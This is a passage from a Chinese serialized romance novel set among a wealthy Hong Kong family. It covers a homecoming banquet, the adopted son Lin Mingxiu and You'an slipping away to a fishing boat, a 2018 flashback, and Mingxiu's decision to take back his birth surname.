“我话没说完呢!” “你真在生气吗?” “真生气了吧!”. 又过了一个月,林鸣修正式拿下了乘风,带领四海抵着下行的股市,开始新的一轮的开疆扩土。 他收购的手段不怎么光明。先是规避信息披露线,通过马甲公司分散买入乘风股份。再制造负面新闻,迅速在公开市场大举扫货,让乘风高层措手不及。这时候发动舆论战,披露对方财务漏洞,引导投资者恐慌性抛售,如此将收购成本降到最低,依法发起强制收购。 每一步都不动声色,到最后才杀机毕露。 他顶住压力打了一场胜仗,但四海的董事会似乎并不买账。 特别是站林鹏海的那一派老股东,他们反而觉得一向不显山露水的林鸣修,刚上位就暴露狼性,不得不令人警惕。如此手段不仅太过激进,还会让四海在行业内树敌,丧失人心,后患无穷。 在泊港公馆陪父亲散步的时候,柚安问林鹤堂:“那群董事会的老家伙,必定各个阅历丰厚,见惯黑白手段,怎么对道德感要求这么高呢?高到连实打实的业绩也要为此让路。” 林鹤堂背过手道:“他们只是害怕而已。” 为让林鸣修获得董事会的信任,林鹤堂决定在夏山郡举办一个回归宴会,宴请亲朋好友以及四海寰宇的大股东,在晚宴上公开表达对林鸣修的支持。 不同于在医院的那场对外的新闻发布会,这次宴会偏于家宴,属于是一条船上的人共襄盛举。 这也是林鹤堂消失五个月后,首次公开露面。复查结果一切都好,他也将就此从泊港公馆搬回夏山郡。 但是人们默认他从波士顿疗养归来,对其真实病情百般打探而不得。 晚宴上,他要向这条船上的人正式宣布,如之前所披露,他的健康没有任何问题,但仍将退居幕后一段时间,四海的掌舵权,将交付给林鸣修—— 他的义子,他的儿子,四海寰宇未来的掌舵人。 与此同时,家族信托基金也将会正式加上林鸣修的名字,以正他子嗣之名。 晚宴当天,名流云集,维多利亚港的夜色被镀上一层溶金,夏山郡巨大的雕花青铜门无声滑开,一辆辆名贵轿车静滑而入。 身为家主的林鹤堂穿着一袭深色的立领唐装,身躯挺拔,没有一丝病容。他非鹤立鸡群,而是有种静水深流的沉稳气度,叫人自然而然臣服。 尹晴挽着丈夫的手臂,身上的淡蓝色中式礼服,将她衬托地像一支古典优雅的白兰。 就连鲜少出席这种宴会的柚安也精心打扮,同尽地主之谊。 她选了一身香槟色,极细腻的薄纱礼服,背部精致的镂空绑带,露出蝶翼般舒展的肩胛骨,穿梭在富贵逼人的各色贵胄之中,气质绝尘,令人情不自禁目光跟随。 大伯母陈静淑挽着梁太的手,远远招呼柚安过去,介绍二人认识。 这位前政界高官的夫人,有着不菲的家世,如今在四海的董事会担任非执行董事。 虽是第一次见面,但柚安这些日,在林鹤堂的指导下,对几位重要董事的背景,已了如指掌。 梁太五十岁上下,雍容华贵,如今活跃在社交界和艺术界,拥有广泛的政商、名流圈人脉。而她的丈夫深谙港岛及大湾区法律法规和政策风向,是政商之间的重要桥梁。 柚安知道,也看得出来,梁太与陈静淑十分交好,她是林鹏海一派的忠实拥护者。 梁生和林鹤堂在另一处闲叙,这边,梁太身边跟着一双儿女——梁嘉栋和梁嘉仪,他们是龙凤胎,刚从伯克利大学毕业回国,主修音乐表演与创作。 难怪会对柚安感兴趣。 她亲切地介绍一双子女,并表达对柚安的欣赏:“我不常听流行乐的,但柚安的歌实在叫人难忘。” 梁嘉仪就拉着柚安叫姐姐,说:“可以去你的酒吧玩吗?” “当然欢迎,包场就更好了,我联系你喜欢的乐队来表演。”柚安笑容满分,得体又不失诙谐地应和着,场面因此十分轻松愉悦。 几个年轻人又说起各自在国外念音乐的事情,他们热络地聊了许久,陈静淑笑容满面:“我说吧,都是搞音乐的,他们肯定玩得来。” 梁太会心一笑,心情愉悦地看着孩子们,颈间那串硕大均匀的南洋白珠,在水晶吊灯的映照下熠熠生辉。 就在半小时前,她去休息间找梁嘉仪,后者正跟三位别家的千金热聊林柚安的八卦。那些上不了台面的事情,世家小姐们在外装作毫不知情,亦不关心,私底下说起来,却比谁都轻车熟路。谈笑间,就将那个欧洲老头子和林柚安的事情,加工成一部十八禁低俗小说。 梁太不动声色地观察一圈,并无林家人的身影,而后将梁嘉仪叫到一边,狠狠教训。 她教训起人来并无疾言厉色,光凭眼神,就能将骄纵的梁家大小姐,活生生刮一遍。 就在带梁嘉仪离开的一刹,她瞥到身侧一抹鎏金色飘然而过,又轻又静,像一尾纤薄的鱼。 待她回眸,身影早已端着酒杯飘远了。 为此,梁太便多留了一分神在柚安身上。 此刻见她一双眼睛清澈明亮,弯弯笑着,跟梁嘉仪约定日后去哪里相聚的样子,既有着世家千金的优雅,又不失烂漫与真诚,梁太心想,真不愧是林鹤堂的女儿。 大厅中央的三角钢琴前,钢琴师正演奏着肖邦的《降E大调夜曲》,梁嘉仪最爱这一首,忍不住直言,乐师弹得不好,瑕疵太多,听得她心疼。 大家听不太出来,拱她去弹,她落落大方地答应。 同样一首钢琴曲,她弹奏起来,真可谓出神入化,这下,即便是外行,也能明显领会到大小姐刚刚所说的“瑕疵”了。 三角钢琴顿时成了当下焦点,所有人的目光都聚集过来,称赞梁生梁太的话,像雪片一样纷纷扬扬洒落。 但是,气氛于东道主这边,却又有些微妙。 即便侍立在旁的佣人都心知肚明,自家大小姐弹得要更胜这位梁小姐一筹,他们也都暗搓搓期待着,期待着大小姐出手,教教这位梁小姐,什么是参差,介时那场面,才叫精彩纷呈。 梁嘉仪一曲演奏完毕,在赞美声中款款回到母亲身边。 梁太摩挲着香槟杯口,笑着看向几乎快要退出人群的柚安,“林小姐有没有兴趣,叫我们见识见识?” 柚安一笑,几分为难模样,“真不巧,前天打网球的时候,手腕伤到了,恐怕这会儿还弹不了琴。” 梁太看她数秒,勾了勾唇,“那真遗憾。” 分明说遗憾,笑容却满意。 这样说,有心的人就会听出来,她是怕技不如人,才找借口躲开的,更让梁嘉仪有面子。比起直接拒绝,高明得多。 梁太对各式各样的恭维已经免疫,今日份的乐趣,是来自林柚安的,她看柚安的眼神,亦多了几分看重。 尹晴站在不远处看到这一幕,紧了紧丈夫的手臂问:“你教她的?” 林鹤堂见怪不怪的样子说:“柚安本来就不喜欢出风头。” 他的眼睛里,有着盛大的骄傲。 这种宴会永远不缺才华横溢的天之骄子,很快,钢琴前就坐了新的人。趁大家注意力转移,柚安抽身退出了人群。 她捏着酒杯,靠在窗边,置身事外地看着名利场,心情很平静。 倘若从前,背地里像那样说她的人,她无论如何是要记着,再成倍报复回去的。 如今倒也不是宽容了,只是真的生不起气来。 那些流言蜚语再猖狂,也只在水底下烧,烧不到身上来。 至于记仇,至于抢风头,既不值得,也不好玩。 尹晴目光追随至女儿退出人群,忽而纳闷林鸣修一晚不见踪影。 目光逡巡一周,发现他只身坐在一个小厅的沙发里,小厅入口有深色的帘幕,将他身影半遮。不时有年轻男女端酒杯过去与他攀谈,谈不到两句就被他阴沉沉的气场劝退了。 尹晴一开始想,怕是因为等下,林鹤堂要将他推至幕前,所以他这会儿特意低调,隐其锋芒。 但是看久了,便看出他别有心事。 从前这种场合,虽也平淡疏离,社交只在礼数之内,却从不像这样生人勿进。 攀谈者走尽后,他独自一人,显得更加阴郁、抽离。 他倾身,双肘支在膝上,目光投向某处,就这样看定了。 尹晴寻他视线看去,看到了靠在窗前的柚安。 后者一脸怡然,似在倾听钢琴演奏,有人过去与她交谈,她便言笑晏晏,弯起一双好看的眼睛,社交场上欢声笑语,她看上去自如又合群,却又好似蒙着一层滤镜,这层滤镜和生人勿进的林鸣修,是一般底色。 实在纳闷,尹晴正欲上前,同林鸣修问个究竟,后者竟先一步起身,径直朝柚安走去。 不巧这时来了几位太太拉尹晴闲叙,她不得不收敛视线,投入新一轮的应酬。 第32章 蛊惑到,她竟想要伸手抚…… 柚安没有想到林鸣修会来找她。 他本应是今晚上最瞩目的人物, 却意外地低调,低调到整个人有点阴森的感觉。 “想不想出去?”林鸣修凑近,低声在她耳边说,“我带你出去玩儿。” 柚安奇怪地看着他, “发了什么邪风了?” 在宴会上玩消失这种事, 自己倒是驾轻就熟, 可她不敢相信, 会发生在事事完美可靠的林鸣修身上。 放眼璀璨的大厅, 跺一跺脚就能让港股震翻天的人物都在,她知道, 林鸣修将要在这些人面前立威,而父亲会替他背书。他们会宣布什么, 怎样让这些人信服,柚安不清楚, 也不关心, 但她知道, 今晚绝对是林鸣修的“大日子”。 哪有只愿意打仗, 不愿意授勋的? 她看怪物似的看着他。 “去不去啊?”林鸣修不解释, 只是一再抛出诱惑,“去上次的渔家吃蒸鱼吧, 他们今天捕了条又肥又美的东星斑。” 柚安:“你饿了?” 想起那口绵密的鱼肉, 胃里激荡起来。 “再炒个花蟹, 熬一锅鱼汤,浓白的,比酒楼师傅做的,要鲜甜一百倍,保准你没吃过那样的美味。”林鸣修继续说。 他知道柚安经不住诱惑。 也不在意他的死活。 确实, 她很快就动心了。 “是你说要去的,爸骂起人来,与我无关啊。” “好了好了,我们走了。” 林鸣修很急迫,没等她答应,直接捉起她的手腕,避开社交场中心,大步往后院带。另一只手则顺过她手里的高脚杯,随手塞到一个前来搭讪她的公子哥手里,弄得那人一愣。 尹晴从几位太太那里脱身后,迫不及待地找她一双儿女,目光锁定,正好就看到这一幕。 林鸣修带走柚安的时候,嘴角勾着,那是他今晚第一次笑。 一路上,柚安很怕被人注意到,即便她知道,这是再正常不过的一副画面,但心里还是做贼般戚戚。 反观林鸣修,那几步路,走得有点不管不顾的意思。 就连拉她手腕也是,他是越来越大胆了。 但他握得不重,手掌覆住她腕骨一圈还有富余,掌心干燥温热,叫她反感不起来。 穿过几道回廊,宴会的灯火和喧嚣被落在了身后。 光线逐渐暗淡了,后花园曲折的小路弯弯绕绕,他们俩个都很熟悉,哪条岔道是捷径,能通向哪里,彼此都再清楚不过。不用说一句话,也能在每一个复杂的小径岔路,做出迅速而统一的选择。就连何时要穿越篱笆,矮身去寻捷径,也十分了然。 来自北部的季风带来初冬的寒意,风削过肌肤,柚安打了个冷颤。 林鸣修停下脚步,将西装外套脱下来,披在她光裸的背上。 柚安手臂穿过袖管的一刹那,回头看到了追出来的尹晴,后者正站在回廊上,凭栏望向他们。 眼神相接,柚安惊慌地做了个“嘘”的手势,脚步被不知情的林鸣修带着,往前趔趄了两下,很快消失在曲折的小径深处。 尹晴没有追,勉力去追也追不上,她凭栏站了许久,眉间微微蹙着。 他们来到一段围墙前面,柚安眼睛一亮,“我记得,这里监控坏啦!” 说着,朝墙上的摄像头作了个鬼脸。 小时候被林鹤堂勒令关禁闭,她就常常在林鸣修的掩护下,从这里翻出去。 林鸣修静静看她做鬼脸,没有戳破。 这么多年,怎么可能让这个漏洞一直存在着? 然而如今,他只需走上前,让摄像头清楚拍到他的脸,监控中心的人自然知道该怎么做。 接着,他像以前那样弯下身,让柚安踩在他的背上。 柚安有那么点不好意思,心里悄悄计算,和那时比,体重长了多少。 林鸣修等不及,说:“你快点。” 仿佛是只等不及要出门撒欢的金毛。 柚安将高跟鞋脱下来丢出围墙,而后踩上他的背,双手抓紧墙沿。林鸣修就抓着她的脚踝,将她托起来一点,她一用力,轻而易举地坐到墙沿上。 林鸣修往后退几步,助力小跑后,纵身一跃,抓住墙沿翻过去,借由墙外那颗桂花树,轻巧落地,而后伸臂,做出要接住柚安的姿势。 柚安是翻墙爬树的惯犯,她攀住树枝,慢慢爬下。最后一段没有下脚的枝桠了,就跟以前一样往下跳,林鸣修会接住她。 将要跳时,她嫌礼服的裙摆碍事,便一把将其掀起,用手捧住,一双腿露在外面,终于自由了。 俯身确认落脚地时,她看到林鸣修,又紧张又生气地瞪着她,耳根是红的,从上往下看得格外清楚。 倘若此刻有人路过,他脑袋就要开始冒烟了。 柚安想起来,以前翻墙的时候,如果穿着裙子,也会这样不顾形象,那时他是什么反应,她未曾留意,但这次应该有所不同,因为她跳下去的时候,林鸣修居然没有接稳。 “哎呀,”柚安跌向林鸣修怀里,出言怪他,“你到底在想什么啊,一个晚上心不在焉的。” 林鸣修直直站着,双手下意识做出环抱的姿态,却没有真正触碰到她,只是虚抱着。 确认她站好后,他往后退一步,看她的裙子放下来没有。 “大小姐,能不能顾一顾形象?” “我穿了安全裤的!你看!”没等她展示,林鸣修抢先按住她的手,向前一步挡在她身前。 “给我放下去。” 他震怒,但对她能生的最大的气,也就是低斥这么一句。 转而将怒气发泄向墙头的摄像头。 他一盯,摄像头便默默转了个方向。 借着路灯,又去捡柚安丢出去的鞋子,有一只就快要丢到马路上了。 柚安在他身后偷笑,这种礼服哪能穿安全裤?她也没想过真的展示给他看,只是见他耳廓通红,想逗逗他罢了。 林鸣修弯腰将款带繁琐的高跟鞋拎起来,月光洒在他背上,分外皎洁。 本该享受觥筹交错,万众荣耀加身的人,此刻在路灯下检查她的鞋有没有被摔坏,鞋跟是否还牢固。柚安的心情有些复杂,想笑又笑不出来。 “谢谢。”她接过林鸣修为她捡回来的鞋,并没有穿上,拎着鞋光着脚在路上走。 一小段路程后,他们拦下一辆计程车,开往港口。 港口路灯稀疏,昏黄不明的微光照拂着海面上沉沉浮浮的船只,黑压压一片。锁链牵连的渔船一艘接一艘静静泊在口岸,像一列沉睡的大鱼。 他们摸黑踏进那艘去过的渔船,船里不见一人。 “做饭的老伯呢?”柚安问。 林鸣修坐在船沿上,长腿伸展,看着并膝坐在四方桌前矮凳上的柚安,好像一个等待学校开饭的小学生,工整又期待。 他忍住笑,多看了一会儿,等到她终于发现不对劲,这才开口:“这个点,别人不睡觉啊?” “……你骗我?”柚安恼怒地瞪圆眼睛。 亏他把饭菜形容地这么香。 “骗子!”早就知道他是骗子,他不是好人! 林鸣修向后撑着船沿,看着被云遮住一半的月亮,笑着说:“我看你也不想待在那儿啊。” “我是没什么热情,但也不至于抵触。” “你抵触的,你不属于那里。”林鸣修看着她。 那里的氧气,对于她来说,太稀薄了。 “那你呢?你一会儿,爸发现你跑了,还给不给你立威了?” “不给了吧,我不配。”林鸣修说。海风卷过,他的声音几分缥缈,但“我不配”三个字,还是听得清清楚楚。 “切,你不就是想……” “我不想。为什么你们总是那么笃定我怎么想,我有什么企图,我野心有多大,凭什么这么想当然地臆断我?” 林鸣修有点生气了,他的野心,若非要说有,分明也只有她一个而已。 可是一旦说出口,就显得龌龊,这才是真正折磨他的地方。 柚安不说话了,她不能昧着良心说,那你就说啊,说你不想要这一切,不想要四海,不需要爸替你操持操心。 因为她知道,他是被架上去的。整个过程,如他承诺,凡他知道的,她也都知道。 此刻,她可以感受到林鸣修的煎熬,隐约可以。 若想再深刻一点的话,就不得不触及他所说过的,喜欢她这件事。 她不愿意触及。所以深深吸了几口咸湿的海风,不让自己想下去。 见她迟迟不说话,林鸣修开口,“还生气?” 想起他眼睛都不眨一下,就编出的东星斑、炒花蟹、鱼汤,怎么可能不生气? “你说呢?”柚安说。 “带你去深水埗夜市好不好?” “当然不行了,我们穿成这样。” 和上次已经不一样了,他们两个的名字如今皆是八卦杂志,和网络热门的常客,被拍到,又是一个好故事。 “那怎么办?这样吧,你要是生气,可以推我下去。”林鸣修双臂伸展,支着身后的船舷,确实是很方便“遇害”的姿势。 柚安失笑。 风大一些的时候,船身会晃荡起来,坐在鱼背上似的,林鸣修面向月亮,月光勾勒出他的轮廓,锋利中沾染了一丝柔软,很反差,也很蛊惑。 蛊惑到,她竟想要伸手抚平他眉间的皱褶。 即便那皱褶只是浅浅的,他看上去,比在交际场上时,要放松得多了。 船身轻晃,她向他走去,这个过程中,林鸣修已经做好了被推下去的准备,她可以这样欺负他的。 她抬手的时候,林鸣修下意识闭上眼睛,然而她只是抬手至他眉间,然后轻轻地抚上去。 那瞬间,林鸣修的眼睫狠狠一颤。 接下来的几秒钟,一切都静止了。 林鸣修睁开眼睛,双臂摊开,一动不动,深深看着她,他的眸色如同深渊,万物静止的世界中,唯有那里的漆黑海浪翻滚不休。那些深埋的动情和欲望,袒露无余。 柚安经不住,先收回了手,她怕再多看一秒,就会被某种东西吸进去。 可是风大好,不止船身,全世界都在失去重心,稍不小心就要摔倒。她下意识伸手,撑在林鸣修的胸膛上,身体进到就快要相贴,隔着薄薄的衬衫,他胸膛温热,传出有力地心跳。 林鸣修没有伸手扶她,仍保持那个姿势,“我说准你推我下去,没说准你这样。” 分明感觉到他心跳猛烈,语气却这样地淡。 “……你皱眉的样子难看得很。”柚安手一撑,与他拉开距离,问他,“现在怎么办?” “再等等吧,”其实想说,再陪陪我吧,但他说,“你要是觉得无聊,我们就回去。” “不会无聊。”柚安知道他想捱过宴会再回去。 接下来的时间,林鸣修一直坐在船舷仰头看月亮,他的心事向来很深,柚安不作过问。 她拎着裙摆跳上木栈道,坐在边沿,将脚泡在海水里。 光脚走了很久,她细细洗去脚面的泥沙,海水温柔地吻过脚脖子,月光在脚边浮动流淌,披着林鸣修的衣服,海风也显得不那么料峭,一切都很舒服。 虽然是被林鸣修哄出来的,但这一切于柚安来说,何尝不是享受?她也不想回去,宁可坐在这里发呆,倾听节奏单调的涛声,而不是那些炫技的钢琴曲。 脚在水面晃荡着,不时踢几脚水花,看月亮看得乏了,她就扭头去看林鸣修在干嘛。 林鸣修没看月亮,他看向这边,不知道看了多久了。 他们相隔不远,但是表情看不真切,朦朦胧胧的,所以他没有立刻撤回视线。她也没有,装作看风景,看了一周,视线才绕回自己脚面。 洁白的脚丫藏在水底下,悄悄收紧脚趾。 她忽然猜到林鸣修在计划什么了。 那个鬼使神差的想法太离谱,也太大胆,在脑海里一秒掠过,便被她仓促掐死了。 胡思乱想也要有个限度,她开始祈祷今晚平安度过。 第33章 “月亮总不肯照亮情欲深…… 二零一八年的那个冬天很冷。 林鸣修操办完母亲的丧事, 连续几天将自己锁在出租房里,清理母亲的旧物、睡觉、发呆。 林鹤堂找到他,问他想不想住到夏山郡来。 他说不想。 林鹤堂抛出真正的橄榄枝,问他想不想当他的儿子。 他看中林鸣修的能力, 遗憾他父母, 自己的挚友早逝, 且急需一个可靠的帮手, 也需要一个够格继承他江山的后生仔。 林鸣修身上有着顾祈年一头扎进去便干到死的倔强, 与孟悦的隐忍与温良,这些是林鹤堂最喜欢老友的品质。在林鹤堂身边多年, 亦浸染了他的谋略与杀伐之道,还有谁比他更适合做这个后生仔呢? 林鸣修答应考虑, 答应的时候,眼神是死的。 帮父亲平冤昭雪, 还清债务以后, 他的人生就没有什么期待了, 如今母亲也离开了他, 就算生命在这一刻按下终止键, 好像也没有什么。 于世界而言,就如同轻轻落下一片雪花那样无足轻重。 没有什么爱也没有什么恨, 只是心脏再多跳一下, 都觉得累。 这天下午, 躺在床上,半梦半醒十分,听到消息提示音,摸出手机一看,居然是柚安发来的。 LYA:【今年过年来我们家吃年夜饭吧, 过完年我就要去英国了,爸准我念音乐。】 柚安应该不知道他在出租屋闭门不出,也不知道林鹤堂提出的事情,否则早气死了。 往年年夜饭,林鸣修都是和母亲两个人吃,尹晴每年都盛情邀请,但孟悦说自己一个病人,大年三十去他们家吃团年饭不吉利。 这其中,也有点不愿意接受同情的意思,尹晴便不作坚持。 柚安的邀请,大抵也是出于同情吧。 何况她就要走了,分给他一点善意无妨。 XU:【林总不是打算让你念商科吗?怎么让他改变主意的?】 LYA:【不知道呀,也许是哪个祖先托梦吧!】 LYA:【欢脱.gif】 一直小猫昂首露齿大笑,浑身闪着blingbling的发光特效。 林鸣修也跟着扯了扯嘴角,但或许是太久没做表情了,屏幕反光映出一张比哭还要难看的脸,干涸的唇角被扯得一疼。 下一秒,表情包就在林鸣修的眼皮子底下被撤回了。 估计她想起来,他刚丧亲。 在葬礼上,她哭得很伤心。纷杂混乱的记忆中,那是为数不多忘却不了的片段。 林鸣修倒是没有哭过,他躺在母亲生前睡过的床上,闻着渐渐消散的,母亲的气味,都没能流出眼泪,只是昏蒙地睡睡醒醒,混淆了昼夜。 过了一会儿,又跟过来一条微信。 LYA:【顾鸣修,我的音乐会惊艳全世界的,你想不想听?】 林鸣修看着屏幕,屏幕中映出他消瘦、眼眶深陷的脸,和那排闪闪发光的文字重叠在一起,阳光一下子从窗帘缝隙处杀进来。他好想听呀。 他的人生仍旧没有期待,暗恋大小姐这件事,也不会有结果。 但她邀请他听,他就可以挣扎着活到那个时候。 于是他刮了胡子,仔细捯饬干净,下楼去买吃的。 胃口还没有回来,就开着车晃荡到柚安学校附近的咖啡馆,以往接柚安放学的时候,他习惯坐在店里喝一杯意式浓缩,外加一份火腿三明治。 惯常坐窗边第三桌,可以第一时间看到柚安从学校里走出来,今天也是坐那里。 咖啡店今天放了陈奕迅的《无人之境》,是他很喜欢的一首歌。柚安有一天也会站在红馆,他坚信且期待,这样想象着,心里的皑皑白雪都要开出花来。 就在这时,店门口的风铃发出一串清泠泠的响声,柚安和两个朋友说笑着走进咖啡馆。 很久没见到她了,林鸣修觉得,今天的一切像是做梦一样,全部都是为他安排。 柜台前等咖啡的功夫,柚安发现了坐在窗边的林鸣修。她先是一愣,然后微笑着朝他朝朝手,态度这样友好,看来心情真的不错。 和朋友聊着天,她的眉眼闪闪发光,充满了向世界发起征程前的昂扬斗志。 朋友扭头看了林鸣修两眼,捂嘴笑着跟她说些什么。 林鸣修至此垂下视线,不再多看。 咖啡苦色的香气涌上来,熏在鼻尖。陈奕迅正唱到—— “这个世界最大罪名,是太易动情。” “但我喜欢这罪名。” 他听到这一句词,便失了神。 想她就要走了,再回来是什么时候? 身边会不会有别的男人? 他的世界始终被困于一隅。 但他希望柚安的世界有星辰大海,山川湖泊,没有疆界与束缚。 再抬眼时,柚安已经走了,柜台里的店员举着张卡片探向店外,“小姐,你的八达通掉了。” 柚安没有听见。 林鸣修呼吸滞了一秒,猛然起身上前,接过那张八达通,追了出去。 “月亮总不肯照亮情欲深处那道背影。” 陈奕迅唱得真好。 柚安和朋友上了辆大巴,她们都背着登山包,应该是要去远足。 林鸣修追出去的时候,巴士正好启动,他看见柚安坐在窗边,正将耳机罩在头上。 他弯腰,双手支在膝上,眼看着巴士远去,身体深处某种冲动疯狂涌动,什么也想不了,身体先作出反应,不顾一切地追了出去。 少年时该打的架,在父亲死的那一天就打完了。 从此,林鸣修变成一颗老心脏。 这是他难得冲动的一次。 他感到一颗年轻、蓬勃的心脏,疯狂地想要抓住些什么。 大巴开得不快,像一头笨拙的巨象,在狭窄的街道上挤。有那么一段路程,他已经和柚安并肩了,无奈柚安在窗内,头靠着玻璃窗,戴着耳机,对窗外发生的事情一无所知。 林鸣修跑到只剩下最后一丝力气也没有停,但是巴士还是开出了他的视线,不知道开去了哪里,即便是这样,他还是拼命向前跑。 肺部鼓噪难当,冲动随着体力的耗尽,在夕阳下消弥。 这也是安排的一环吧,他注定无法上车。 后来,林鸣修一直没有找到机会将八达通还给柚安,柚安不久就知道了他即将成为林鹤堂儿子的事,没有等到大年三十,便一个人托着行李,提前走了。 最后的最后,柚安也没能登上红馆。 林鸣修去机场接她回家,脑海里仍是这天在咖啡馆看见她时,那足以击退严冬的璀璨笑容,可眼前的她破碎地超乎想象,像一朵枯萎凋零的玫瑰。 唯一一次露出笑容,是讥诮他在父亲面前摇尾巴。 那张八达通就在他的口袋里,曾经无数次想,如果能够物归原主,他现在该是姓林还是姓顾?. 晚宴之后的夏山郡,安静肃然如初,好像谁也没有来过。 林鸣修站在大厅的门前,对提着裙摆,蹑手蹑脚的柚安说:“你从后门绕进去,我去跟爸妈交代。” “真的吗?”柚安勾着腰,做贼似的。一阵风吹来,她打了个哆嗦,整个人缩进林鸣修的宽大外套里。 “真的。”林鸣修微微一笑。 柚安踮起脚,拍拍他的肩旁说:“真够意思。”说完提着裙摆一溜烟跑了。 林鸣修径直步入林鹤堂的书房,他知道林鹤堂正等着他。 摩挲着西裤口袋里的那张薄薄的卡片,他将那个关于八达通的问题化作陈述,宣之于口。 书房空气凝结,针落可闻。 林鹤堂面色黑沉地看着他,尹晴站在一旁,面色复杂,不置一词。 比起生气,林鹤堂更多是费解。 他一直将林鸣修养在身边的,在他身上,林鹤堂既有着对老友顾祈年的惺惺相惜,又有着对自己继承者的认同与骄傲。看他仿佛看自己,岂止了解可以概括? 因此,林鹤堂怎么也想不通,在帮四海度过危机,离坐稳CEO的位子只有一步之遥的时候,林鸣修怎么会提出改姓,且跟林家划分关系的? 难道这么多年,他只是逢场作戏? 要知道,家族信托基金上,还没有他的名字,再多演几天都安耐不住吗? “说清楚一点,”老爷子的声音又厉又低沉,“这么做,你图什么?” “什么也不图,”林鸣修垂首而立,“您可以像以前一样将我当做利刃,也可以干脆把我踢出四海,我都没有怨言。” “落得两手空空也要改回你的姓?你到底还是要作顾祈年的儿子。” “我本来就是顾祈年的儿子,林总。” 林鹤堂狠狠拍在大理石书案上。 “我再问一遍,你究竟图什么?”林鹤堂很难看不清一个人,何况是养在身边,如此可靠的一个人。 林鸣修沉默以对。 他不是无所图的,但怎么能说? 尹晴一下下抚着林鹤堂的胸口,帮他顺气。 “好了好了,气头上谈不出个一二三来,都睡觉,明天再说,”她和风细雨地对丈夫说,“姓林姓顾有什么关系?你喜欢他,照样可以当他是儿子疼,你看中他,照样可以让他在公司帮你。他要有坏心眼,怎么也不至于在这个节骨眼上,出这么个自伤八百的招来,对他能有什么好处?至于为什么,跟祈年一样那么犟的人,他不愿意说,打碎了牙也撬不出半个字来,何必较劲?” 林鹤堂闭眼半晌,不再说话,走出房间前,他转身问:“鸣修,我亏待过你吗?” 林鸣修双拳攥紧,“从来没有,是我对不起您。” 说罢深深鞠躬,直至林鹤堂夫妻走出视线。 第34章 涨红迅速爬升至脖颈 柚安一夜没有睡好, 那个一闪而过的念头在她脑袋里生了根,令她辗转难眠。 一大清早,她听见动静就冲下楼去,和刚下楼的尹晴撞了个正着。柚安观察尹晴的脸色, 心下稍安。 倘若那个猜测是真的, 家里一定天下大乱, 母亲少不了是要哭一场的。 “你怎么总是莽莽撞撞的?”尹晴抱怨。 柚安嘻嘻两声挽住她, 问:“爸呢?” “你爸一早去公司了。”尹晴走向餐桌布餐, 餐具只有三份。 柚安惊讶,“爸不应该再休养些时吗?” “休养是要休养, 去公司视察一下现况也没什么不好,他闲不下来的。”尹晴状若无事地说。 柚安“哦”了声, 弱弱问道:“昨天,那个人有没有跟你们说什么?” 尹晴无奈地瞥她一眼, “那个人……” 柚安抿嘴干笑两声, 偷偷瞧着母亲的神色。 “他没说什么, ”尹晴摆弄着餐桌上的花问, “你们两个昨晚跑出去干什么了?” “他没跟你们说吗?” 尹晴垂眸看花, “昨天太晚,只够说个大概, 你仔细说说, 我想听。” 柚安便一五一十地汇报说, 他们都觉得宴会无聊,就去港口吃饭,没找着吃的,在渔船上坐了坐就回了。 “再没其他事了?”尹晴狐疑地看着她,不小心捏皱了花瓣也来不及心疼。 “能有啥事。”柚安嘟囔。 尹晴还想说什么, 这时候林鸣修从电梯走了出来,他穿着正式,面色平淡,吃完早饭就要去公司的样子。 尹晴见到他,开口道:“你爸去公司了。” 林鸣修说:“好的,我吃两口就去。”他做好了被清算的准备。 尹晴放轻语气说:“没事的,你慢慢吃。” “嗯,没事。” 林鸣修显得格外轻松,倒像是反过来安慰尹晴。他甚至朝悄咪咪看他的柚安一笑,伸手指了指眼睛下面,暗示她挂了对浓浓的黑眼圈。 柚安扯了扯嘴角,不敢有所回应。 一顿早饭吃得格外风平浪静,三个人的内心,各自装着不同的天气。 吃过饭,林鸣修开车去四海。 林鹤堂到得很早,知道他来了,各部门不敢怠慢,高管纷纷赶来。但他只是听了最近几个月的汇报,没有任何针对林鸣修的动作。 他的雷霆手段,从不轻易使用。 但是结合昨天宴会上,林鸣修不告而别的事,有心人不难猜测老爷子一大早出现在公司,多半和代理CEO有关,两人怕不是发生了龃龉。 林鸣修到达公司后,照例做了汇报。这些日子,他依旧坐在之前特助的位子上。林鹤堂的办公区域,和他在同一个套间的内外两间,隔着一层玻璃门,一直没有人进入过,布置摆设一如他入院之前。 如今收购乘风已经初显价值,公司股价稳在一个不低的位置,后续与文旅界一系列的联合项目,正在有条不紊地推进中。 林鹤堂很喜欢听林鸣修述职,他做事的逻辑和条理,像一段优化到顶的程序,简洁冰冷,事事俱备,无所遗漏。 那家名叫海宇资本,一直趁低收购四海股份的公司,林鸣修说,已经可以确定是林鹏海手下的。他那段时间赌钱赢了一大笔,对方就加大动作,大吃特吃。这家公司,正在林鸣修的暗中操纵下,渐渐膨胀。 随着收购乘风的进行,他们就没有动作了。因为林鸣修收购乘风的前期手段,跟海宇资本的小动作类似,后者似乎察觉到了背后那双眼睛。 “父子”俩从很早就开始关注这家公司,也探讨过无数次应对方案。但是这次,林鸣修还是交代地事无巨细,仿佛说完就要走了,而这是他最后的不放心。 林鹤堂问他:“股份还要不要?” 林鸣修说:“我在四海的每一分钱都是您给我的,一切听您安排。” 林鹤堂转脸看向窗外波谲的层云,他无法将林鸣修的决定视作不忠,只是为突然间看不透这个人了而有些抱憾伤怀。在他身上,他付出过作为引路人倾囊相授的心血,也付出过作为父亲的无条件信任。 “出去吧,”他没有看林鸣修,平声说,“去做你的事去。” 由此,林鸣修依旧是四海寰宇的代理CEO。 然而四海真正的掌门人坐镇总裁办,却对诸多压在林鸣修身上的担子冷眼旁观。 林鹏海笃定父子俩已然产生矛盾,趁机在董事会拱火,发起不信任投票,想要罢免林鸣修,这一罢免,把他弄出公司,就是顺理成章的事情。他亦在赌林鹤堂外强中干,虽坐镇公司,但身体状况已经不允许他承担过多。 作为董事会主席,林鹤堂居然没有干涉,就这样默许了。 不信任投票的日子一天天逼近,林鸣修在公司也不好过。 林鹤堂的态度放出了信号,股东和高管觉得他不再受到掌舵人的信任,对他的各项决策不是反对,就是搁置,导致诸多项目无法推进。 老爷子什么都没做,却又好像什么都做了,短短几天,让林鸣修尝到了失去靠山,什么也不是的滋味。 林鸣修不好再回家了,就住在公司附近的酒店里。他早出晚归,林鹤堂进出办公室的时候,都可以看到他日渐憔悴的身影。 这天,林鹤堂在他办公桌前停留,问他:“你还是要将姓改回去?” “是的,明天就生效了,”林鸣修如实说,“我会主动对外披露,少不了会有媒体跟进,添麻烦了。” 